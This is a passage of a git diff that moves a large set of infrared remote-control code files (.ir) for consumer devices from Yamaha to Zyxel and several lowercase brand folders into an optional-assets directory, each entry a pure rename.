b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/TV/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/TV/7,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir 